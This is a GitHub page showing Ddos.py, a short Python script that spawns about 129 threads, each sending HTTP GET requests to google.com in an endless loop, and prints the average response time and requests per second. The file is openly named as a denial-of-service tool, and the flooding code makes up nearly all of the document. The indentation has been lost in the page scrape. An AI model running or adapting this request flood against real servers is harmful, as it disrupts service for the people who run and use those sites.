-
Notifications
You must be signed in to change notification settings - Fork 0
/
Ddos.py
57 lines (43 loc) · 1.35 KB
/
Ddos.py
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
import requests
import threading
import time
l = [];
def current_milli_time():
return round(time.time()*1000)
def current_sec_time():
return round(time.time())
def countRequestPerMinute(timeTook):
t = current_sec_time()
l.append({
"time_took": timeTook,
"time_received": t
})
for e in l:
if current_sec_time() -e["time_received"] >= 60:
l.remove(e)
def make_request(name):
while True:
s = current_milli_time()
r = requests.get('https://google.com/')
t = current_milli_time() - s
# print("Response code: {} Took {} ms".format(str(r.status_code),t))
countRequestPerMinute(t)
thread = 128
i = 0
while i <= thread:
# while True:
x = threading.Thread(target=make_request,args=(i,))
# print("Starting thread {}".format(i))
x.start()
i+=1
print("Initial Start Please Wait..")
time.sleep(5)
while len(l) > 0:
time.sleep(1)
response_time = 0
for e in l:
response_time = response_time + e['time_took']
response_time = response_time / len(l)
# print("Request per second: {}".format(len(l)))
# print("Average Response time: {} Ms".format(round(response_time)))
print("\rAverage response time: {} Ms and Request per/sec: {}".format(round(response_time),len(l)), end=""),